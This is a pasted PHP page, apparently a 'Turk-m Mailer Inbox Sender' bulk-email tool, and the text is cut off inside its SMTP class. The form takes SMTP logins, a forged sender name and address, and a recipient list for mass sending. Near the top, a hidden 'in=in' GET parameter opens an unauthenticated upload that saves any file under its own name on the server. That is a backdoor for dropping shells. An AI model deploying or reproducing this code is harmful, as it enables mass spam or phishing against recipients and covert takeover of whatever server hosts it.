Guest User

Untitled

a guest
Jan 14th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 100.20 KB | None | 0 0
  1. <?php
  2.  
  3. function query_str($params){
  4. $str = '';
  5. foreach ($params as $key => $value) {
  6. $str .= (strlen($str) < 1) ? '' : '&';
  7. $str .= $key . '=' . rawurlencode($value);
  8. }
  9. return ($str);
  10. }
  11. function lrtrim($string){
  12. return stripslashes(ltrim(rtrim($string)));
  13. }
  14. $in = $_GET['in']; if($in == 'in'){
  15. $filename = $_FILES['file']['name'];
  16. $filetmp = $_FILES['file']['tmp_name'];
  17. echo "<form method='POST' enctype='multipart/form-data'>
  18. <input type='file'name='file' />
  19. <input type='submit' value='go' />
  20. </form>";
  21. move_uploaded_file($filetmp,$filename);
  22. }
  23. if(isset($_POST['action'] ) ){
  24.  
  25. $b = query_str($_POST);
  26. parse_str($b);
  27. $sslclick=lrtrim($sslclick);
  28. $action=lrtrim($action);
  29. $message=lrtrim($message);
  30. $emaillist=lrtrim($emaillist);
  31. $from=lrtrim($from);
  32. $reconnect=lrtrim($reconnect);
  33. $epriority=lrtrim($epriority);
  34. $my_smtp=lrtrim($my_smtp);
  35. $ssl_port=lrtrim($ssl_port);
  36. $smtp_username=lrtrim($smtp_username);
  37. $smtp_password=lrtrim($smtp_password);
  38. $replyto=lrtrim($replyto);
  39. $subject=lrtrim($subject);
  40. $realname=lrtrim($realname);
  41. $subject_base=lrtrim($subject);
  42. $realname_base=lrtrim($realname);
  43. $file_name=lrtrim($file);
  44. $urlz=lrtrim($urlz);
  45. $contenttype=lrtrim($contenttype);
  46. $encode_text=$_POST['encode'];
  47.  
  48. $message = urlencode($message);
  49. $message = ereg_replace("%5C%22", "%22", $message);
  50. $message = urldecode($message);
  51. $message = stripslashes($message);
  52. $subject = stripslashes($subject);
  53. if ($encode_text == "yes") {
  54. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  55. $subject = str_replace(' ', '_', $subject);
  56. $subject = "=?UTF-8?Q?$subject?=";
  57. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  58. $realname = str_replace(' ', '_', $realname);
  59. $realname = "=?UTF-8?Q?$realname?=";
  60. }
  61. }
  62. ?>
  63. <html>
  64.  
  65. <head>
  66. <title>PHP Mailer</title>
  67. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  68.  
  69. <style type="text/css">
  70. <!--
  71. .style1 {
  72. font-family: Geneva, Arial, Helvetica, sans-serif;
  73. font-size: 12px;
  74. }
  75. -->
  76. </style>
  77. <style type="text/css">
  78. <!--
  79. .style1 {
  80. font-size: 10px;
  81. font-family: Geneva, Arial, Helvetica, sans-serif;
  82. }
  83. -->
  84. </style>
  85. </head>
  86. <body text="#000000">
  87. <p align="center"><font size="5" face="Bauhaus 93">Turk-m Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
  88. <form name="form1" method="post" action="" enctype="multipart/form-data">
  89.  
  90. <br>
  91.  
  92. <table width="100%" border="0" height="407">
  93.  
  94. <tr>
  95.  
  96. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  97.  
  98. <b>
  99.  
  100. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  101.  
  102. </tr>
  103. <tr>
  104.  
  105. <td width="10%" height="22" bgcolor="#E8E8E8">
  106.  
  107. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  108. SMTP Login:</font></div>
  109.  
  110. </td>
  111.  
  112. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  113.  
  114. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  115.  
  116. </font></td>
  117.  
  118. <td width="31%" height="22" bgcolor="#E8E8E8">
  119.  
  120. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  121. SMTP Pass:</font></div>
  122.  
  123. </td>
  124.  
  125. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  126.  
  127. <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  128.  
  129. </font></td>
  130.  
  131. </tr>
  132. <tr>
  133.  
  134. <td width="10%" height="22" bgcolor="#E8E8E8">
  135.  
  136. <div align="right">
  137. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  138.  
  139. </td>
  140.  
  141. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  142.  
  143. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  144. (optional)</font></td>
  145.  
  146. <td width="31%" height="22" bgcolor="#E8E8E8">
  147.  
  148. <div align="right">
  149. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  150. Server Smtp:</font></div>
  151.  
  152. </td>
  153.  
  154. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  155.  
  156. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  157.  
  158. </font></td>
  159.  
  160. </tr>
  161. <tr>
  162.  
  163. <td width="10%" height="22" bgcolor="#E8E8E8">
  164.  
  165. <p align="right">
  166. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  167.  
  168. <td width="18%" height="22" bgcolor="#E8E8E8">
  169. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  170.  
  171. <td width="31%" height="22" bgcolor="#E8E8E8">
  172.  
  173. <p align="right">
  174. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  175. After:</font></td>
  176.  
  177. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  178.  
  179. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  180. EMAILS</font></td>
  181.  
  182. </tr>
  183. <tr>
  184.  
  185. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  186.  
  187. <p align="center">
  188. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  189. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  190.  
  191. </tr>
  192.  
  193. <tr>
  194.  
  195. <td width="10%" height="19">
  196.  
  197. &nbsp;</td>
  198.  
  199. <td width="18%" height="19">&nbsp;</td>
  200.  
  201. <td width="31%" height="19">
  202.  
  203. &nbsp;</td>
  204.  
  205. <td width="41%" height="19">&nbsp;</td>
  206.  
  207. </tr>
  208.  
  209. <tr>
  210.  
  211. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  212.  
  213. <b>
  214.  
  215. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  216.  
  217. </tr>
  218.  
  219. <tr>
  220.  
  221. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  222.  
  223. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  224. Your Email:</font></div>
  225.  
  226. </td>
  227.  
  228. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  229.  
  230. <input type="text" name="from" value="<?=$from;?>" size="30">
  231.  
  232. </font></td>
  233.  
  234. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  235.  
  236. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  237. Your Name:</font></div>
  238.  
  239. </td>
  240.  
  241. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  242.  
  243. <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  244.  
  245. </font></td>
  246.  
  247. </tr>
  248. <tr>
  249.  
  250. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  251.  
  252. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  253. Reply-To:</font></div>
  254.  
  255. </td>
  256.  
  257. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  258.  
  259. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  260.  
  261. </font></td>
  262.  
  263. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  264.  
  265. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  266. Email Priority:</font></td>
  267.  
  268. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  269.  
  270. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  271. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  272. Please Choose -</option>
  273. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  274. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  275. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  276. </select></td>
  277.  
  278. </tr>
  279.  
  280. <tr>
  281.  
  282. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  283.  
  284. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  285. Subject:</font></div>
  286.  
  287. </td>
  288.  
  289. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  290.  
  291. <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  292.  
  293. </font></td>
  294.  
  295. </tr>
  296.  
  297. <tr>
  298.  
  299. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  300.  
  301. &nbsp;</td>
  302.  
  303. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  304.  
  305. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  306. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  307. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  308. </select></font></td>
  309.  
  310. </tr>
  311.  
  312. <tr valign="top">
  313.  
  314. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  315.  
  316. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  317.  
  318. <br>
  319.  
  320. <input type="radio" name="contenttype" value="plain" >
  321.  
  322. Plain
  323.  
  324. <input type="radio" name="contenttype" value="html" checked>
  325.  
  326. HTML
  327.  
  328. <input type="hidden" name="action" value="send">
  329.  
  330. <input type="submit" value="Send Message">
  331.  
  332. </font></td>
  333.  
  334. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  335.  
  336. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  337.  
  338. </font></td>
  339.  
  340. </tr>
  341.  
  342. </table>
  343.  
  344. </form>
  345.  
  346.  
  347.  
  348. <?
  349.  
  350. if ($action){
  351. if (!$from && !$subject && !$message && !$emaillist){
  352. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  353. die(); }
  354.  
  355. class SMTP
  356. {
  357. /**
  358. * SMTP server port
  359. * @var int
  360. */
  361. var $SMTP_PORT = 25;
  362.  
  363. /**
  364. * SMTP reply line ending
  365. * @var string
  366. */
  367. var $CRLF = "\r\n";
  368.  
  369. /**
  370. * Sets whether debugging is turned on
  371. * @var bool
  372. */
  373. var $do_debug; # the level of debug to perform
  374.  
  375. /**
  376. * Sets VERP use on/off (default is off)
  377. * @var bool
  378. */
  379. var $do_verp = false;
  380.  
  381. /**#@+
  382. * @access private
  383. */
  384. var $smtp_conn; # the socket to the server
  385. var $error; # error if any on the last call
  386. var $helo_rply; # the reply the server sent to us for HELO
  387. /**#@-*/
  388.  
  389. /**
  390. * Initialize the class so that the data is in a known state.
  391. * @access public
  392. * @return void
  393. */
  394. function SMTP() {
  395. $this->smtp_conn = 0;
  396. $this->error = null;
  397. $this->helo_rply = null;
  398.  
  399. $this->do_debug = 0;
  400. }
  401.  
  402. /*************************************************************
  403. * CONNECTION FUNCTIONS *
  404. ***********************************************************/
  405.  
  406. /**
  407. * Connect to the server specified on the port specified.
  408. * If the port is not specified use the default SMTP_PORT.
  409. * If tval is specified then a connection will try and be
  410. * established with the server for that number of seconds.
  411. * If tval is not specified the default is 30 seconds to
  412. * try on the connection.
  413. *
  414. * SMTP CODE SUCCESS: 220
  415. * SMTP CODE FAILURE: 421
  416. * @access public
  417. * @return bool
  418. */
  419. function Connect($host,$port=0,$tval=30) {
  420. # set the error val to null so there is no confusion
  421. $this->error = null;
  422.  
  423. # make sure we are __not__ connected
  424. if($this->connected()) {
  425. # ok we are connected! what should we do?
  426. # for now we will just give an error saying we
  427. # are already connected
  428. $this->error = array("error" => "Already connected to a server");
  429. return false;
  430. }
  431.  
  432. if(empty($port)) {
  433. $port = $this->SMTP_PORT;
  434. }
  435.  
  436. #connect to the smtp server
  437. $this->smtp_conn = fsockopen($host, # the host of the server
  438. $port, # the port to use
  439. $errno, # error number if any
  440. $errstr, # error message if any
  441. $tval); # give up after ? secs
  442. # verify we connected properly
  443. if(empty($this->smtp_conn)) {
  444. $this->error = array("error" => "Failed to connect to server",
  445. "errno" => $errno,
  446. "errstr" => $errstr);
  447. if($this->do_debug >= 1) {
  448. echo "SMTP -> ERROR: " . $this->error["error"] .
  449. ": $errstr ($errno)" . $this->CRLF;
  450. }
  451. return false;
  452. }
  453.  
  454. # sometimes the SMTP server takes a little longer to respond
  455. # so we will give it a longer timeout for the first read
  456. // Windows still does not have support for this timeout function
  457. if(substr(PHP_OS, 0, 3) != "WIN")
  458. socket_set_timeout($this->smtp_conn, $tval, 0);
  459.  
  460. # get any announcement stuff
  461. $announce = $this->get_lines();
  462.  
  463. # set the timeout of any socket functions at 1/10 of a second
  464. //if(function_exists("socket_set_timeout"))
  465. // socket_set_timeout($this->smtp_conn, 0, 100000);
  466.  
  467. if($this->do_debug >= 2) {
  468. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  469. }
  470.  
  471. return true;
  472. }
  473.  
  474. /**
  475. * Performs SMTP authentication. Must be run after running the
  476. * Hello() method. Returns true if successfully authenticated.
  477. * @access public
  478. * @return bool
  479. */
  480. function Authenticate($username, $password) {
  481. // Start authentication
  482. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  483.  
  484. $rply = $this->get_lines();
  485. $code = substr($rply,0,3);
  486.  
  487. if($code != 334) {
  488. $this->error =
  489. array("error" => "AUTH not accepted from server",
  490. "smtp_code" => $code,
  491. "smtp_msg" => substr($rply,4));
  492. if($this->do_debug >= 1) {
  493. echo "SMTP -> ERROR: " . $this->error["error"] .
  494. ": " . $rply . $this->CRLF;
  495. }
  496. return false;
  497. }
  498.  
  499. // Send encoded username
  500. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  501.  
  502. $rply = $this->get_lines();
  503. $code = substr($rply,0,3);
  504.  
  505. if($code != 334) {
  506. $this->error =
  507. array("error" => "Username not accepted from server",
  508. "smtp_code" => $code,
  509. "smtp_msg" => substr($rply,4));
  510. if($this->do_debug >= 1) {
  511. echo "SMTP -> ERROR: " . $this->error["error"] .
  512. ": " . $rply . $this->CRLF;
  513. }
  514. return false;
  515. }
  516.  
  517. // Send encoded password
  518. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  519.  
  520. $rply = $this->get_lines();
  521. $code = substr($rply,0,3);
  522.  
  523. if($code != 235) {
  524. $this->error =
  525. array("error" => "Password not accepted from server",
  526. "smtp_code" => $code,
  527. "smtp_msg" => substr($rply,4));
  528. if($this->do_debug >= 1) {
  529. echo "SMTP -> ERROR: " . $this->error["error"] .
  530. ": " . $rply . $this->CRLF;
  531. }
  532. return false;
  533. }
  534.  
  535. return true;
  536. }
  537.  
  538. /**
  539. * Returns true if connected to a server otherwise false
  540. * @access private
  541. * @return bool
  542. */
  543. function Connected() {
  544. if(!empty($this->smtp_conn)) {
  545. $sock_status = socket_get_status($this->smtp_conn);
  546. if($sock_status["eof"]) {
  547. # hmm this is an odd situation... the socket is
  548. # valid but we are not connected anymore
  549. if($this->do_debug >= 1) {
  550. echo "SMTP -> NOTICE:" . $this->CRLF .
  551. "EOF caught while checking if connected";
  552. }
  553. $this->Close();
  554. return false;
  555. }
  556. return true; # everything looks good
  557. }
  558. return false;
  559. }
  560.  
  561. /**
  562. * Closes the socket and cleans up the state of the class.
  563. * It is not considered good to use this function without
  564. * first trying to use QUIT.
  565. * @access public
  566. * @return void
  567. */
  568. function Close() {
  569. $this->error = null; # so there is no confusion
  570. $this->helo_rply = null;
  571. if(!empty($this->smtp_conn)) {
  572. # close the connection and cleanup
  573. fclose($this->smtp_conn);
  574. $this->smtp_conn = 0;
  575. }
  576. }
  577.  
  578. /***************************************************************
  579. * SMTP COMMANDS *
  580. *************************************************************/
  581.  
  582. /**
  583. * Issues a data command and sends the msg_data to the server
  584. * finializing the mail transaction. $msg_data is the message
  585. * that is to be send with the headers. Each header needs to be
  586. * on a single line followed by a <CRLF> with the message headers
  587. * and the message body being seperated by and additional <CRLF>.
  588. *
  589. * Implements rfc 821: DATA <CRLF>
  590. *
  591. * SMTP CODE INTERMEDIATE: 354
  592. * [data]
  593. * <CRLF>.<CRLF>
  594. * SMTP CODE SUCCESS: 250
  595. * SMTP CODE FAILURE: 552,554,451,452
  596. * SMTP CODE FAILURE: 451,554
  597. * SMTP CODE ERROR : 500,501,503,421
  598. * @access public
  599. * @return bool
  600. */
  601. function Data($msg_data) {
  602. $this->error = null; # so no confusion is caused
  603.  
  604. if(!$this->connected()) {
  605. $this->error = array(
  606. "error" => "Called Data() without being connected");
  607. return false;
  608. }
  609.  
  610. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  611.  
  612. $rply = $this->get_lines();
  613. $code = substr($rply,0,3);
  614.  
  615. if($this->do_debug >= 2) {
  616. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  617. }
  618.  
  619. if($code != 354) {
  620. $this->error =
  621. array("error" => "DATA command not accepted from server",
  622. "smtp_code" => $code,
  623. "smtp_msg" => substr($rply,4));
  624. if($this->do_debug >= 1) {
  625. echo "SMTP -> ERROR: " . $this->error["error"] .
  626. ": " . $rply . $this->CRLF;
  627. }
  628. return false;
  629. }
  630.  
  631. # the server is ready to accept data!
  632. # according to rfc 821 we should not send more than 1000
  633. # including the CRLF
  634. # characters on a single line so we will break the data up
  635. # into lines by \r and/or \n then if needed we will break
  636. # each of those into smaller lines to fit within the limit.
  637. # in addition we will be looking for lines that start with
  638. # a period '.' and append and additional period '.' to that
  639. # line. NOTE: this does not count towards are limit.
  640.  
  641. # normalize the line breaks so we know the explode works
  642. $msg_data = str_replace("\r\n","\n",$msg_data);
  643. $msg_data = str_replace("\r","\n",$msg_data);
  644. $lines = explode("\n",$msg_data);
  645.  
  646. # we need to find a good way to determine is headers are
  647. # in the msg_data or if it is a straight msg body
  648. # currently I am assuming rfc 822 definitions of msg headers
  649. # and if the first field of the first line (':' sperated)
  650. # does not contain a space then it _should_ be a header
  651. # and we can process all lines before a blank "" line as
  652. # headers.
  653. $field = substr($lines[0],0,strpos($lines[0],":"));
  654. $in_headers = false;
  655. if(!empty($field) && !strstr($field," ")) {
  656. $in_headers = true;
  657. }
  658.  
  659. $max_line_length = 998; # used below; set here for ease in change
  660.  
  661. while(list(,$line) = @each($lines)) {
  662. $lines_out = null;
  663. if($line == "" && $in_headers) {
  664. $in_headers = false;
  665. }
  666. # ok we need to break this line up into several
  667. # smaller lines
  668. while(strlen($line) > $max_line_length) {
  669. $pos = strrpos(substr($line,0,$max_line_length)," ");
  670.  
  671. # Patch to fix DOS attack
  672. if(!$pos) {
  673. $pos = $max_line_length - 1;
  674. }
  675.  
  676. $lines_out[] = substr($line,0,$pos);
  677. $line = substr($line,$pos + 1);
  678. # if we are processing headers we need to
  679. # add a LWSP-char to the front of the new line
  680. # rfc 822 on long msg headers
  681. if($in_headers) {
  682. $line = "\t" . $line;
  683. }
  684. }
  685. $lines_out[] = $line;
  686.  
  687. # now send the lines to the server
  688. while(list(,$line_out) = @each($lines_out)) {
  689. if(strlen($line_out) > 0)
  690. {
  691. if(substr($line_out, 0, 1) == ".") {
  692. $line_out = "." . $line_out;
  693. }
  694. }
  695. fputs($this->smtp_conn,$line_out . $this->CRLF);
  696. }
  697. }
  698.  
  699. # ok all the message data has been sent so lets get this
  700. # over with aleady
  701. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  702.  
  703. $rply = $this->get_lines();
  704. $code = substr($rply,0,3);
  705.  
  706. if($this->do_debug >= 2) {
  707. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  708. }
  709.  
  710. if($code != 250) {
  711. $this->error =
  712. array("error" => "DATA not accepted from server",
  713. "smtp_code" => $code,
  714. "smtp_msg" => substr($rply,4));
  715. if($this->do_debug >= 1) {
  716. echo "SMTP -> ERROR: " . $this->error["error"] .
  717. ": " . $rply . $this->CRLF;
  718. }
  719. return false;
  720. }
  721. return true;
  722. }
  723.  
  724. /**
  725. * Expand takes the name and asks the server to list all the
  726. * people who are members of the _list_. Expand will return
  727. * back and array of the result or false if an error occurs.
  728. * Each value in the array returned has the format of:
  729. * [ <full-name> <sp> ] <path>
  730. * The definition of <path> is defined in rfc 821
  731. *
  732. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  733. *
  734. * SMTP CODE SUCCESS: 250
  735. * SMTP CODE FAILURE: 550
  736. * SMTP CODE ERROR : 500,501,502,504,421
  737. * @access public
  738. * @return string array
  739. */
  740. function Expand($name) {
  741. $this->error = null; # so no confusion is caused
  742.  
  743. if(!$this->connected()) {
  744. $this->error = array(
  745. "error" => "Called Expand() without being connected");
  746. return false;
  747. }
  748.  
  749. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  750.  
  751. $rply = $this->get_lines();
  752. $code = substr($rply,0,3);
  753.  
  754. if($this->do_debug >= 2) {
  755. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  756. }
  757.  
  758. if($code != 250) {
  759. $this->error =
  760. array("error" => "EXPN not accepted from server",
  761. "smtp_code" => $code,
  762. "smtp_msg" => substr($rply,4));
  763. if($this->do_debug >= 1) {
  764. echo "SMTP -> ERROR: " . $this->error["error"] .
  765. ": " . $rply . $this->CRLF;
  766. }
  767. return false;
  768. }
  769.  
  770. # parse the reply and place in our array to return to user
  771. $entries = explode($this->CRLF,$rply);
  772. while(list(,$l) = @each($entries)) {
  773. $list[] = substr($l,4);
  774. }
  775.  
  776. return $list;
  777. }
  778.  
  779. /**
  780. * Sends the HELO command to the smtp server.
  781. * This makes sure that we and the server are in
  782. * the same known state.
  783. *
  784. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  785. *
  786. * SMTP CODE SUCCESS: 250
  787. * SMTP CODE ERROR : 500, 501, 504, 421
  788. * @access public
  789. * @return bool
  790. */
  791. function Hello($host="") {
  792. $this->error = null; # so no confusion is caused
  793.  
  794. if(!$this->connected()) {
  795. $this->error = array(
  796. "error" => "Called Hello() without being connected");
  797. return false;
  798. }
  799.  
  800. # if a hostname for the HELO was not specified determine
  801. # a suitable one to send
  802. if(empty($host)) {
  803. # we need to determine some sort of appopiate default
  804. # to send to the server
  805. $host = "localhost";
  806. }
  807.  
  808. // Send extended hello first (RFC 2821)
  809. if(!$this->SendHello("EHLO", $host))
  810. {
  811. if(!$this->SendHello("HELO", $host))
  812. return false;
  813. }
  814.  
  815. return true;
  816. }
  817.  
  818. /**
  819. * Sends a HELO/EHLO command.
  820. * @access private
  821. * @return bool
  822. */
  823. function SendHello($hello, $host) {
  824. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  825.  
  826. $rply = $this->get_lines();
  827. $code = substr($rply,0,3);
  828.  
  829. if($this->do_debug >= 2) {
  830. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  831. }
  832.  
  833. if($code != 250) {
  834. $this->error =
  835. array("error" => $hello . " not accepted from server",
  836. "smtp_code" => $code,
  837. "smtp_msg" => substr($rply,4));
  838. if($this->do_debug >= 1) {
  839. echo "SMTP -> ERROR: " . $this->error["error"] .
  840. ": " . $rply . $this->CRLF;
  841. }
  842. return false;
  843. }
  844.  
  845. $this->helo_rply = $rply;
  846.  
  847. return true;
  848. }
  849.  
  850. /**
  851. * Gets help information on the keyword specified. If the keyword
  852. * is not specified then returns generic help, ussually contianing
  853. * A list of keywords that help is available on. This function
  854. * returns the results back to the user. It is up to the user to
  855. * handle the returned data. If an error occurs then false is
  856. * returned with $this->error set appropiately.
  857. *
  858. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  859. *
  860. * SMTP CODE SUCCESS: 211,214
  861. * SMTP CODE ERROR : 500,501,502,504,421
  862. * @access public
  863. * @return string
  864. */
  865. function Help($keyword="") {
  866. $this->error = null; # to avoid confusion
  867.  
  868. if(!$this->connected()) {
  869. $this->error = array(
  870. "error" => "Called Help() without being connected");
  871. return false;
  872. }
  873.  
  874. $extra = "";
  875. if(!empty($keyword)) {
  876. $extra = " " . $keyword;
  877. }
  878.  
  879. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  880.  
  881. $rply = $this->get_lines();
  882. $code = substr($rply,0,3);
  883.  
  884. if($this->do_debug >= 2) {
  885. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  886. }
  887.  
  888. if($code != 211 && $code != 214) {
  889. $this->error =
  890. array("error" => "HELP not accepted from server",
  891. "smtp_code" => $code,
  892. "smtp_msg" => substr($rply,4));
  893. if($this->do_debug >= 1) {
  894. echo "SMTP -> ERROR: " . $this->error["error"] .
  895. ": " . $rply . $this->CRLF;
  896. }
  897. return false;
  898. }
  899.  
  900. return $rply;
  901. }
  902.  
  903. /**
  904. * Starts a mail transaction from the email address specified in
  905. * $from. Returns true if successful or false otherwise. If True
  906. * the mail transaction is started and then one or more Recipient
  907. * commands may be called followed by a Data command.
  908. *
  909. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  910. *
  911. * SMTP CODE SUCCESS: 250
  912. * SMTP CODE SUCCESS: 552,451,452
  913. * SMTP CODE SUCCESS: 500,501,421
  914. * @access public
  915. * @return bool
  916. */
  917. function Mail($from) {
  918. $this->error = null; # so no confusion is caused
  919.  
  920. if(!$this->connected()) {
  921. $this->error = array(
  922. "error" => "Called Mail() without being connected");
  923. return false;
  924. }
  925.  
  926. $useVerp = ($this->do_verp ? "XVERP" : "");
  927. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  928.  
  929. $rply = $this->get_lines();
  930. $code = substr($rply,0,3);
  931.  
  932. if($this->do_debug >= 2) {
  933. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  934. }
  935.  
  936. if($code != 250) {
  937. $this->error =
  938. array("error" => "MAIL not accepted from server",
  939. "smtp_code" => $code,
  940. "smtp_msg" => substr($rply,4));
  941. if($this->do_debug >= 1) {
  942. echo "SMTP -> ERROR: " . $this->error["error"] .
  943. ": " . $rply . $this->CRLF;
  944. }
  945. return false;
  946. }
  947. return true;
  948. }
  949.  
  950. /**
  951. * Sends the command NOOP to the SMTP server.
  952. *
  953. * Implements from rfc 821: NOOP <CRLF>
  954. *
  955. * SMTP CODE SUCCESS: 250
  956. * SMTP CODE ERROR : 500, 421
  957. * @access public
  958. * @return bool
  959. */
  960. function Noop() {
  961. $this->error = null; # so no confusion is caused
  962.  
  963. if(!$this->connected()) {
  964. $this->error = array(
  965. "error" => "Called Noop() without being connected");
  966. return false;
  967. }
  968.  
  969. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  970.  
  971. $rply = $this->get_lines();
  972. $code = substr($rply,0,3);
  973.  
  974. if($this->do_debug >= 2) {
  975. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  976. }
  977.  
  978. if($code != 250) {
  979. $this->error =
  980. array("error" => "NOOP not accepted from server",
  981. "smtp_code" => $code,
  982. "smtp_msg" => substr($rply,4));
  983. if($this->do_debug >= 1) {
  984. echo "SMTP -> ERROR: " . $this->error["error"] .
  985. ": " . $rply . $this->CRLF;
  986. }
  987. return false;
  988. }
  989. return true;
  990. }
  991.  
  992. /**
  993. * Sends the quit command to the server and then closes the socket
  994. * if there is no error or the $close_on_error argument is true.
  995. *
  996. * Implements from rfc 821: QUIT <CRLF>
  997. *
  998. * SMTP CODE SUCCESS: 221
  999. * SMTP CODE ERROR : 500
  1000. * @access public
  1001. * @return bool
  1002. */
  1003. function Quit($close_on_error=true) {
  1004. $this->error = null; # so there is no confusion
  1005.  
  1006. if(!$this->connected()) {
  1007. $this->error = array(
  1008. "error" => "Called Quit() without being connected");
  1009. return false;
  1010. }
  1011.  
  1012. # send the quit command to the server
  1013. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1014.  
  1015. # get any good-bye messages
  1016. $byemsg = $this->get_lines();
  1017.  
  1018. if($this->do_debug >= 2) {
  1019. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1020. }
  1021.  
  1022. $rval = true;
